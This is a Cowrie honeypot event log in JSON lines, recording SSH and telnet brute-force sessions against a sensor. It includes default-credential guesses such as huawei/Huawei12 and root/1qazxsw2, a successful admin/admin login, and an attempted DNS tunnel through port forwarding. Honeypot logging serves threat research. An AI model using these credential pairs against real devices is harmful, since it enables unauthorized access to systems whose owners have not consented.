{"eventid":"cowrie.session.closed","duration":120.00122213363647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:51.786328Z","src_ip":"152.42.224.71","session":"dd18aecb0039","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hik12345","message":"login attempt [root/Hik12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:52.375621Z","src_ip":"42.200.78.78","session":"0a6b9f16f41a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50196,"dst_ip":"159.203.135.109","dst_port":22,"session":"35a9a9537288","protocol":"ssh","message":"New connection: 45.156.87.204:50196 (159.203.135.109:22) [session: 35a9a9537288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:52.514772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:52.519310Z","src_ip":"45.156.87.204","session":"35a9a9537288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:52.601109Z","src_ip":"45.156.87.204","session":"35a9a9537288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:52.859713Z","src_ip":"45.156.87.204","session":"35a9a9537288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:53.594818Z","src_ip":"42.200.78.78","session":"0a6b9f16f41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:53.944098Z","src_ip":"45.156.87.204","session":"35a9a9537288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35476,"dst_ip":"10.17.0.5","dst_port":23,"session":"47afd9c63051","protocol":"telnet","message":"New connection: 152.42.224.71:35476 (10.17.0.5:23) [session: 47afd9c63051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:54.314516Z"}
{"eventid":"cowrie.session.closed","duration":53.613226890563965,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:54.418795Z","src_ip":"152.42.224.71","session":"76ab27f74cad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35490,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c52f1741ebc","protocol":"telnet","message":"New connection: 152.42.224.71:35490 (10.17.0.5:23) [session: 8c52f1741ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:55.264232Z"}
{"eventid":"cowrie.session.closed","duration":86.33633255958557,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:55.858005Z","src_ip":"152.42.224.71","session":"3881cec2f71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50212,"dst_ip":"159.203.135.109","dst_port":22,"session":"881fe1125d4a","protocol":"ssh","message":"New connection: 45.156.87.204:50212 (159.203.135.109:22) [session: 881fe1125d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:56.072867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:56.079501Z","src_ip":"45.156.87.204","session":"881fe1125d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:56.161664Z","src_ip":"45.156.87.204","session":"881fe1125d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:56.412564Z","src_ip":"45.156.87.204","session":"881fe1125d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:57.683956Z","src_ip":"45.156.87.204","session":"881fe1125d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c89fdeedb98","protocol":"ssh","message":"New connection: 45.156.87.204:50226 (159.203.135.109:22) [session: 5c89fdeedb98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:59.658652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:59.663139Z","src_ip":"45.156.87.204","session":"5c89fdeedb98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:47:59.745362Z","src_ip":"45.156.87.204","session":"5c89fdeedb98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:00.138791Z","src_ip":"45.156.87.204","session":"5c89fdeedb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:01.223672Z","src_ip":"45.156.87.204","session":"5c89fdeedb98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.20232176780701,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:01.477008Z","src_ip":"152.42.224.71","session":"750558e507c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33782,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a871c2232d5","protocol":"telnet","message":"New connection: 152.42.224.71:33782 (10.17.0.5:23) [session: 4a871c2232d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:03.299386Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53328,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb5f21b7a14","protocol":"ssh","message":"New connection: 45.156.87.204:53328 (159.203.135.109:22) [session: 5bb5f21b7a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:03.461047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:03.465508Z","src_ip":"45.156.87.204","session":"5bb5f21b7a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:03.552550Z","src_ip":"45.156.87.204","session":"5bb5f21b7a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:03.803870Z","src_ip":"45.156.87.204","session":"5bb5f21b7a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:05.077260Z","src_ip":"45.156.87.204","session":"5bb5f21b7a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.037718296051025,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:05.767620Z","src_ip":"152.42.224.71","session":"bc5117683a71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53344,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2bee96c5631","protocol":"ssh","message":"New connection: 45.156.87.204:53344 (159.203.135.109:22) [session: d2bee96c5631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:07.157713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:07.162439Z","src_ip":"45.156.87.204","session":"d2bee96c5631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:07.244781Z","src_ip":"45.156.87.204","session":"d2bee96c5631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:07.597271Z","src_ip":"45.156.87.204","session":"d2bee96c5631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:08.684367Z","src_ip":"45.156.87.204","session":"d2bee96c5631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53350,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a373474c2a","protocol":"ssh","message":"New connection: 45.156.87.204:53350 (159.203.135.109:22) [session: 49a373474c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.014258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.022363Z","src_ip":"45.156.87.204","session":"49a373474c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.104749Z","src_ip":"45.156.87.204","session":"49a373474c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.351041Z","src_ip":"45.156.87.204","session":"49a373474c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19880,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bee870a7997","protocol":"ssh","message":"New connection: 87.251.64.176:19880 (10.17.0.5:22) [session: 8bee870a7997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.390101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.394926Z","src_ip":"87.251.64.176","session":"8bee870a7997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.491380Z","src_ip":"87.251.64.176","session":"8bee870a7997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76671552658081,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.616632Z","src_ip":"152.42.224.71","session":"c2e24d3019b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.674819469451904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.714643Z","src_ip":"152.42.224.71","session":"cee980bcde3e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.781177Z","src_ip":"87.251.64.176","session":"8bee870a7997","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.884731Z","session":"8bee870a7997","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:11.982862Z","src_ip":"87.251.64.176","session":"8bee870a7997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:12.083598Z","src_ip":"87.251.64.176","session":"8bee870a7997","protocol":"ssh"}
